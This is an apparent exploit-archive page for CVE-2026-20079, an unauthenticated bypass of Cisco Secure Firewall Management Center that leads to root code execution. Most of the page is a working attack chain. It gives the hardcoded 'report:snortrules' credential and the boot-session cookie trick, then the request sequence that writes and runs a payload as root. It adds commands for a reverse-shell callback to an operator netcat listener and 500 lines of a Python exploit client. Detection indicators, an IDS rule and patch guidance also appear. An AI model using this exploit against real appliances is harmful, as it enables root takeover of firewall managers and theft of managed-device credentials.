PoC Archive PoC Archive
CVE-2026-20079 category: web CVSS 10 (CRITICAL) KEV EPSS 12%
Unverified

Cisco Secure Firewall Management Center Boot Session Authentication Bypass to Root RCE (CVE-2026-20079)

Published: 2026-11-27 • Researcher: Arian Eidizadeh (CyberAuth); Cisco PSIRT; VulnCheck technical analysis

Target software Cisco Secure Firewall Management Center (FMC), on-premises
Affected versions NVD CPE list covers FMC 7.0.0 through 7.7.12 plus 10.0.0 and 10.0.1. Cisco's advisory gives first fixed releases: 7.0 and earlier to 7.0.10, 7.2 to 7.2.12, 7.4 to 7.4.8, 7.6 to 7.6.6, 7.7 to 7.7.13.
Status Weaponized (full authentication-bypass to root RCE chain; requires the boot-created session to still exist)
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV EPSS 12%

Confirmed exploited in the wild. Added to CISA KEV 2026-09-09. Federal remediation deadline 2026-09-12.

EPSS 12.5% · 97th percentile

Severity
Critical
CVE
CVE-2026-20079
Category
web
Affected product
Cisco Secure Firewall Management Center (FMC), on-premises
Affected versions
NVD CPE list covers FMC 7.0.0 through 7.7.12 plus 10.0.0 and 10.0.1. Cisco's advisory gives first fixed releases: 7.0 and earlier to 7.0.10, 7.2 to 7.2.12, 7.4 to 7.4.8, 7.6 to 7.6.6, 7.7 to 7.7.13.
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-08-24
Author / ResearcherArian Eidizadeh (CyberAuth); Cisco PSIRT; VulnCheck technical analysis
CVE / AdvisoryCVE-2026-20079
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSSv3.1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, Cisco)
StatusWeaponized (full authentication-bypass to root RCE chain; requires the boot-created session to still exist)
Tagscisco, fmc, firewall-management-center, auth-bypass, CWE-288, unauthenticated, root-rce, cgi, makeself, cisa-kev
RelatedN/A

Affected Target

FieldValue
Software / SystemCisco Secure Firewall Management Center (FMC), on-premises
Versions AffectedNVD CPE list covers FMC 7.0.0 through 7.7.12 plus 10.0.0 and 10.0.1. Cisco’s advisory gives first fixed releases: 7.0 and earlier to 7.0.10, 7.2 to 7.2.12, 7.4 to 7.4.8, 7.6 to 7.6.6, 7.7 to 7.7.13.
Language / PlatformPython 3.10+ exploit client; target is an appliance HTTP/HTTPS management interface
Authentication RequiredNo (unauthenticated; depends on a boot-created csm_processes session still being present)
Network Access RequiredYes (HTTPS to the FMC management interface, plus outbound TCP from the FMC to the operator listener)

Summary

CVE-2026-20079 is an unauthenticated authentication bypass in the web interface of Cisco Secure Firewall Management Center. A system process created at boot leaves a partially initialized csm-processes session that can be upgraded with the published report:snortrules machine credential, exposing a per-session sf action id. That token unlocks a CGI function which writes attacker-controlled data to /var/tmp/license.tmp, and a second function passes the file to a privileged update path that executes it as root. The result is unauthenticated remote code execution as root on the appliance, with the caveat that the transient boot session must still exist when the attack is attempted.

Vulnerability Details

Root Cause

FMC creates a partial session for the csm_processes machine identity at startup. The session remains usable and can be upgraded through /login.cgi?logon=Continue using a hardcoded machine credential (report:snortrules). Once upgraded, the session exposes a session-specific sf_action_id that authorizes a small set of CGI functions. validateLicense writes supplied data to /var/tmp/license.tmp without sufficient restrictions, and SF::UI::DataObjectLibrary::upgradeReadinessCall hands that file to a privileged installer path. A file containing Cisco’s Makeself marker is therefore executed as root. Apple-style summary: the authentication check is bound to an improper boot-time system process (CWE-288) rather than to a validated user identity.

Attack Vector

  1. Send POST /login.cgi?logon=Continue with Cookie CGISESSID=csm_processes and form fields username=report, password=snortrules, target=. Expect HTTP 302.
  2. GET /ui/user/general with the same cookie and extract the sf_action_id value from the returned page.
  3. POST to /sajaxintf.cgi?rs=callServerFunc with a JSON array of [sf_action_id, “validateLicense”, payload], where payload is a Makeself-format shell script. The response contains License is Invalid while the script is written to /var/tmp/license.tmp.
  4. POST to /pjb.cgi with function=SF::UI::DataObjectLibrary::upgradeReadinessCall and parameters pointing at /var/tmp/license.tmp and a UUID. The privileged updater executes the script as root and the script calls back to the operator. All steps are unauthenticated HTTP requests.

Impact

Unauthenticated remote attacker obtains root code execution on a security-management appliance. From root, an attacker can read the configuration database, managed-device credentials, API tokens, certificates, and local secrets such as a Vault token if present (the upstream blog documents one such post-exploitation path). The appliance can be used to pivot into managed firewall estates, and Cisco confirmed active exploitation in the wild in August 2026.

Environment / Lab Setup

Output
OS:          Python 3.10+ operator host (Linux or macOS); authorized FMC appliance for a live test
Target:      Cisco Secure FMC running an affected 7.x release with the boot-created
             csm_processes session still present, management HTTPS reachable
Attacker:    operator workstation with a listener reachable from the FMC
Tools:       python3 venv, requests, netcat/ncat, curl (optional manual reproduction)

Setup Steps

Shell script
1
2
3
4
5
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt

nc -lvnp 4444

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the surface (optional, GET-only) — identify an FMC login page without testing the CVE.

    Shell script
    1
    
    python3 CVE-2026-20079.py --fingerprint --target https://192.0.2.10
  2. Confirm the boot session (GET-only check) — request /help/about.cgi unauthenticated, then repeat with the csm_processes cookie and compare.

    Shell script
    1
    
    python3 CVE-2026-20079.py --check --target https://192.0.2.10
  3. Upgrade the session and obtain the action token — this changes server-side session state.

    Shell script
    1
    
    python3 CVE-2026-20079.py --check --intrusive --target https://192.0.2.10
  4. Write and trigger the Makeself payload — the tool writes /var/tmp/license.tmp through validateLicense and calls upgradeReadinessCall through /pjb.cgi.

    Shell script
    1
    2
    
    python3 CVE-2026-20079.py --exploit --target https://192.0.2.10 \
      --callback-host 192.0.2.20 --callback-port 4444
  5. Verify root on the callback — from the reverse shell, confirm identity and clean up.

    Shell script
    1
    2
    3
    
    id
    hostname -f
    rm -f /tmp/.fmc_poc_* /var/tmp/license.tmp

Exploit Code

See CVE-2026-20079.py for the full client, and BLOG.md for the manual curl reproduction and the operator’s account of the sequence.

Python
1
2
3
4
5
6
7
8
9
session = requests.Session()
session.post(
    f"{target}/login.cgi?logon=Continue",
    headers={"Cookie": "CGISESSID=csm_processes",
             "Content-Type": "application/x-www-form-urlencoded"},
    data={"username": "report", "password": "snortrules", "target": ""},
)
page = session.get(f"{target}/ui/user/general", headers={"Cookie": "CGISESSID=csm_processes"})
action_id = re.search(r'var\s+sf_action_id\s*=\s*["\']([0-9a-fA-F]{32})', page.text).group(1)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[*] Upgrading the boot-created 'csm_processes' session
[*] Session-upgrade response: HTTP 302 Location='/ui/login'
[*] General-page response: HTTP 200
[+] Authentication bypass confirmed; sf_action_id=01234567...cdef (redacted, nonzero)
[*] Writing the Makeself-format payload through validateLicense
[+] Target returned the expected validateLicense response
[*] Triggering the payload through upgradeReadinessCall
[+] Callback received from 192.0.2.10
uid=0(root) gid=0(root) groups=0(root)
fmc01.acme.example
[+] /var/tmp/license.tmp verified absent

Detection & Indicators of Compromise

Output
POST /login.cgi?logon=Continue        Cookie: CGISESSID=csm_processes  username=report
GET  /ui/user/general                 Cookie: CGISESSID=csm_processes
POST /sajaxintf.cgi?rs=callServerFunc body contains "validateLicense"
POST /pjb.cgi                         body contains "upgradeReadinessCall"

/var/tmp/license.tmp containing a "This script was generated using Makeself" marker
FIFO creation under /tmp, an interactive /bin/sh, nc/netcat running as root
Unexpected outbound TCP from the FMC management address to an operator host

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible CVE-2026-20079 FMC session upgrade"; \
  content:"/login.cgi?logon=Continue"; http_uri; \
  content:"CGISESSID=csm_processes"; http_cookie; \
  content:"username=report"; http_client_body; sid:90200791;)

Remediation

ActionDetail
PatchUpgrade to the first fixed release for the branch: 7.0.10, 7.2.12, 7.4.8, 7.6.6, or 7.7.13. Cisco published no workaround and shipped hotfix files for prevention.
WorkaroundRestrict management-plane access to trusted networks and do not expose the FMC web interface to the internet; there is no configuration-only fix.
Config HardeningRotate machine and integration credentials after patching, revoke unexpected admin tokens, review local Vault/LDAP secrets, place the FMC behind a reverse proxy that blocks untrusted /login.cgi and /pjb.cgi traffic, and monitor for the detection patterns above. If exploitation is suspected, contact Cisco TAC.

References

Notes

Auto-prepared 2026-11-27 from the watchlist record. Review verdict: genuine, non-malicious reproduction research. The tool implements the actual request chain and executes a Makeself script as root; its fingerprint and GET-only check modes are clearly labelled as non-exploit modes, and automatic Vault credential extraction and lateral movement are deliberately excluded. License: MIT (upstream-LICENSE.txt retained). Limitations: the target must still have the transient boot-created csm_processes session, which normal UI activity or session cleanup can remove; the Python tool was validated against a local mock FMC, while the equivalent manual requests and FIFO/netcat payload were the steps proven on a real appliance; running –check –intrusive, –proof, or –exploit changes server-side session state, and the tool does not restore it. The callback requires /bin/sh, rm, and nc/netcat/ncat on the FMC and outbound TCP to the operator. No exploit code was executed during archive preparation.

CVE-2026-20079.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-20079 Cisco Secure FMC authentication bypass to root RCE PoC.

This is a clean-room Python implementation of the request chain publicly
documented by VulnCheck. It is intended only for systems you own or have
explicit written authorization to test.

The confirmation paths are intentionally explicit. Check mode defaults to a
GET-only response-pattern check. Adding --intrusive upgrades the boot-created
csm_processes session and retrieves its sf_action_id.
"""

from __future__ import annotations

import argparse
import concurrent.futures
import ipaddress
import json
import math
import re
import secrets
import socket
import sys
import time
import uuid
from dataclasses import dataclass
from pathlib import Path
from urllib.parse import urljoin, urlparse

import requests
import urllib3


VERSION = "1.3.1"
STATIC_SESSION = "csm_processes"
MACHINE_USERNAME = "report"
MACHINE_PASSWORD = "snortrules"
MAX_CALLBACK_BYTES = 1024 * 1024
MAX_READ_ONLY_BODY_BYTES = 512 * 1024
FMC_ABOUT_MARKERS = (
    "Cisco Secure Firewall Management Center",
    "Model",
    "OS",
    "Hostname",
)
ACTION_ID_RE = re.compile(r"var\s+sf_action_id\s*=\s*[\"']([0-9a-fA-F]{32})[\"']")
ZERO_ACTION_ID = "0" * 32
FMC_DEVICE_LABEL_RE = re.compile(r'"deviceLabel"\s*:\s*"Management Center"')
JSON_NEWLINE_ESCAPE_RE = re.compile(r"\\+n")


class ExploitError(RuntimeError):
    """Raised when the target does not exhibit the expected exploit state."""


@dataclass(frozen=True)
class Config:
    target: str
    timeout: float
    verify_tls: bool
    proxy: str | None


@dataclass(frozen=True)
class FingerprintConfig:
    timeout: float
    verify_tls: bool
    proxy: str | None


@dataclass(frozen=True)
class FingerprintResult:
    target: str
    classification: str
    root_status: int | None
    login_status: int | None
    reason: str


@dataclass(frozen=True)
class GetOnlyCheckResult:
    classification: str
    control_status: int | None
    session_status: int | None
    reason: str
    missing_markers: tuple[str, ...] = ()
    product_identified: bool = False


def normalize_target(value: str) -> str:
    if any(character.isspace() for character in value):
        raise argparse.ArgumentTypeError("target must not contain whitespace")
    if "?" in value or "#" in value:
        raise argparse.ArgumentTypeError("target must not include a query or fragment")
    value = value.rstrip("/")
    parsed = urlparse(value)
    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
        raise argparse.ArgumentTypeError(
            "target must include http:// or https:// and a hostname/IP"
        )
    if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
        raise argparse.ArgumentTypeError("target must not include a path or query")
    if parsed.username is not None or parsed.password is not None:
        raise argparse.ArgumentTypeError("target must not include URL credentials")
    try:
        parsed.port
    except ValueError as exc:
        raise argparse.ArgumentTypeError("target contains an invalid port") from exc
    if parsed.hostname is None:
        raise argparse.ArgumentTypeError("target must include a hostname/IP")
    return value


def callback_ipv4(value: str) -> str:
    try:
        parsed = ipaddress.ip_address(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("callback host must be an IP literal") from exc
    if parsed.version != 4:
        raise argparse.ArgumentTypeError("this PoC currently supports IPv4 callbacks")
    return str(parsed)


def tcp_port(value: str) -> int:
    try:
        port = int(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("port must be an integer") from exc
    if not 1 <= port <= 65535:
        raise argparse.ArgumentTypeError("port must be between 1 and 65535")
    return port


def listen_address(value: str) -> str:
    try:
        parsed = ipaddress.ip_address(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("listen host must be an IP literal") from exc
    if parsed.version != 4:
        raise argparse.ArgumentTypeError("this PoC currently supports IPv4 listeners")
    return str(parsed)


def network_value(
    value: str,
) -> ipaddress.IPv4Network | ipaddress.IPv6Network:
    try:
        return ipaddress.ip_network(value, strict=False)
    except ValueError as exc:
        raise argparse.ArgumentTypeError(
            "network must be a valid IPv4/IPv6 CIDR"
        ) from exc


def positive_int(value: str) -> int:
    try:
        parsed = int(value)
    except ValueError as exc:
        raise argparse.ArgumentTypeError("value must be an integer") from exc
    if parsed <= 0:
        raise argparse.ArgumentTypeError("value must be greater than zero")
    return parsed


def fingerprint_entry_url(value: str, scheme: str, default_port: int) -> str:
    value = value.strip()
    if not value or value.startswith("#"):
        raise argparse.ArgumentTypeError("fingerprint entry is empty or a comment")
    if any(character.isspace() for character in value):
        raise argparse.ArgumentTypeError(
            "fingerprint entry must not contain whitespace"
        )
    if "://" in value:
        return normalize_target(value)
    if any(character in value for character in "/?#@"):
        raise argparse.ArgumentTypeError(
            "fingerprint entries without a scheme must be host/IP values"
        )

    try:
        address = ipaddress.ip_address(value)
    except ValueError:
        try:
            parsed = urlparse(f"//{value}")
            port = parsed.port or default_port
        except ValueError as exc:
            raise argparse.ArgumentTypeError(
                f"invalid fingerprint host/port entry: {value}"
            ) from exc
        host = parsed.hostname
        if host is None:
            raise argparse.ArgumentTypeError(f"invalid fingerprint entry: {value}")
        try:
            parsed_host_address = ipaddress.ip_address(host)
        except ValueError:
            rendered_host = host
        else:
            rendered_host = (
                f"[{parsed_host_address}]"
                if parsed_host_address.version == 6
                else str(parsed_host_address)
            )
    else:
        port = default_port
        rendered_host = f"[{address}]" if address.version == 6 else str(address)

    return f"{scheme}://{rendered_host}:{port}"


def new_session(config: Config) -> requests.Session:
    session = requests.Session()
    session.trust_env = False
    session.headers.update(
        {
            "User-Agent": f"CVE-2026-20079-authorized-PoC/{VERSION}",
            "Accept": "*/*",
            "Connection": "close",
        }
    )
    session.cookies.set("CGISESSID", STATIC_SESSION)
    if config.proxy:
        session.proxies.update({"http": config.proxy, "https": config.proxy})
    return session


def new_read_only_session(
    config: Config | FingerprintConfig,
    purpose: str,
) -> requests.Session:
    session = requests.Session()
    session.trust_env = False
    session.headers.update(
        {
            "User-Agent": f"CVE-2026-20079-{purpose}/{VERSION}",
            "Accept": "text/html,application/xhtml+xml,*/*;q=0.8",
            "Connection": "close",
        }
    )
    if config.proxy:
        session.proxies.update({"http": config.proxy, "https": config.proxy})
    return session


def url_origin(value: str) -> tuple[str, str, int]:
    parsed = urlparse(value)
    if parsed.hostname is None:
        raise ValueError("URL has no hostname")
    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    return parsed.scheme.lower(), parsed.hostname.lower(), port


def body_identifies_fmc(body: str) -> bool:
    return (
        "/img/cisco-icon.svg" in body
        and FMC_DEVICE_LABEL_RE.search(body) is not None
    )


def read_bounded_body(response: requests.Response) -> tuple[str, bool]:
    """Read a bounded amount of decoded response data for GET-only checks."""

    body = bytearray()
    truncated = False
    for chunk in response.iter_content(chunk_size=8192):
        if not chunk:
            continue
        remaining = MAX_READ_ONLY_BODY_BYTES - len(body)
        if len(chunk) > remaining:
            body.extend(chunk[:remaining])
            truncated = True
            break
        body.extend(chunk)
    encoding = response.encoding or "utf-8"
    return body.decode(encoding, errors="replace"), truncated


def missing_fmc_about_markers(body: str) -> tuple[str, ...]:
    return tuple(marker for marker in FMC_ABOUT_MARKERS if marker not in body)


def get_only_response_check(config: Config) -> GetOnlyCheckResult:
    """Run the additional GET-only verification from the Nuclei template.

    Template author: theamanrawat
    https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-20079.yaml

    This complements this PoC's original product fingerprint and its stronger,
    state-changing session-upgrade check.
    """

    session = new_read_only_session(config, "get-only-check")
    control_status: int | None = None
    session_status: int | None = None
    url = f"{config.target}/help/about.cgi"
    try:
        control = session.get(
            url,
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        control_status = control.status_code
        control_body, _ = read_bounded_body(control)
        control.close()
        if control_status != 302 or "Invalid session ID" not in control_body:
            return GetOnlyCheckResult(
                "UNCONFIRMED",
                control_status,
                None,
                "unauthenticated control did not return the expected HTTP 302 "
                "and Invalid session ID response",
            )

        # Do not carry response cookies from the unauthenticated control request.
        session.cookies.clear()
        privileged = session.get(
            url,
            headers={"Cookie": f"CGISESSID={STATIC_SESSION}"},
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        session_status = privileged.status_code
        privileged_body, _ = read_bounded_body(privileged)
        privileged.close()
        missing_markers = missing_fmc_about_markers(privileged_body)
        product_identified = FMC_ABOUT_MARKERS[0] in privileged_body
        if session_status == 200 and not missing_markers:
            return GetOnlyCheckResult(
                "APPEARS",
                control_status,
                session_status,
                "the csm_processes session accessed the protected FMC about page",
                product_identified=True,
            )
        if session_status == 200 and "Invalid session ID" not in privileged_body:
            return GetOnlyCheckResult(
                "PARTIAL-MATCH",
                control_status,
                session_status,
                "the endpoint rejected the unauthenticated request and returned "
                "HTTP 200 with csm_processes, but the expected about-page "
                "markers were incomplete",
                missing_markers=missing_markers,
                product_identified=product_identified,
            )
        return GetOnlyCheckResult(
            "UNCONFIRMED",
            control_status,
            session_status,
            "the two responses did not match the known GET-only bypass pattern",
        )
    except requests.exceptions.RequestException as exc:
        return GetOnlyCheckResult(
            "ERROR",
            control_status,
            session_status,
            str(exc),
        )
    finally:
        session.close()


def run_get_only_check(config: Config) -> int:
    print("[*] GET-only authentication-bypass check")
    print("[*] No credentials, session upgrade, file write, or command execution")
    result = get_only_response_check(config)
    headings = {
        "APPEARS": "Known GET-only response pattern matched",
        "PARTIAL-MATCH": "Part of the known GET-only response pattern matched",
        "UNCONFIRMED": "Known GET-only response pattern not established",
        "ERROR": "GET-only check could not be completed",
    }
    print(f"[{result.classification}] {headings[result.classification]}")

    if result.control_status is None:
        print("    Without session cookie: no response")
    else:
        control_note = (
            " (rejected as an invalid session)"
            if result.control_status == 302
            and result.session_status is not None
            else ""
        )
        print(
            f"    Without session cookie: HTTP {result.control_status}"
            f"{control_note}"
        )

    if result.session_status is None:
        session_detail = (
            "no response"
            if result.classification == "ERROR"
            and result.control_status is not None
            else "not requested"
        )
        print(f"    With csm_processes:     {session_detail}")
    else:
        print(f"    With csm_processes:     HTTP {result.session_status}")

    if result.product_identified:
        print("[+] Product identified: Cisco Secure FMC")
    elif result.session_status == 200:
        print("[!] Product identity was not verified from the about-page response")

    if result.missing_markers:
        print(
            "[!] About-page verification incomplete; missing: "
            + ", ".join(result.missing_markers)
        )

    if result.classification == "APPEARS":
        print(
            "[+] Result: authentication-bypass condition appears exploitable; "
            "session upgrade and root RCE were not tested"
        )
        return 0

    if result.classification == "PARTIAL-MATCH":
        print(
            "[-] Result: CVE-2026-20079 was not confirmed by the GET-only check",
            file=sys.stderr,
        )
        print(
            "[*] For stronger confirmation, add --intrusive only when a "
            "state-changing check is authorized"
        )
    elif result.classification == "UNCONFIRMED":
        print(f"[-] Reason: {result.reason}", file=sys.stderr)
        print(
            "[-] Result: CVE-2026-20079 was not confirmed; this does not "
            "establish that the software is patched",
            file=sys.stderr,
        )
    else:
        print(f"[-] Error: {result.reason}", file=sys.stderr)
    return 1


def fingerprint_target(
    target: str,
    config: FingerprintConfig,
) -> FingerprintResult:
    session = new_read_only_session(config, "fingerprint")
    root_status: int | None = None
    login_status: int | None = None
    try:
        root = session.get(
            f"{target}/",
            timeout=config.timeout,
            verify=config.verify_tls,
            allow_redirects=False,
            stream=True,
        )
        root_status = root.status_code
        root_body, root_truncated = read_bounded_body(root)
        root.close()
        if 200 <= root_status < 300 and body_identifies_fmc(root_body):
            return FingerprintResult(
                target,
                "MATCH",
                root_status,
                None,
                "Cisco Secure FMC product markers in root response"
                + (" (bounded read)" if root_truncated else ""),
            )

        location = root.headers.get("Location", "")
        if not root.is_redirect or not location:
            return FingerprintResult(
                target,
                "NO_MATCH",
                root_status,
                None,
                "no successful FMC product-marker response or HTTP login redirect",
            )

        login_url = urljoin(f"{target}/", location)
        login_parsed = urlparse(login_url)
        if (
            login_parsed.path != "/ui/login"
            or login_parsed.query
            or login_parsed.fragment
            or login_parsed.username is not None
            or login_parsed.password is not None
        ):
            return FingerprintResult(
                target,
                "NO_MATCH",
                root_status,
                None,
                f"redirected to unrelated path {login_parsed.path!r}",
            )
        if url_origin(login_url) != url_origin(target):
            return FingerprintResult(
                target,
                "NO_MATCH",
Showing 500 of 1558 lines View full file on GitHub →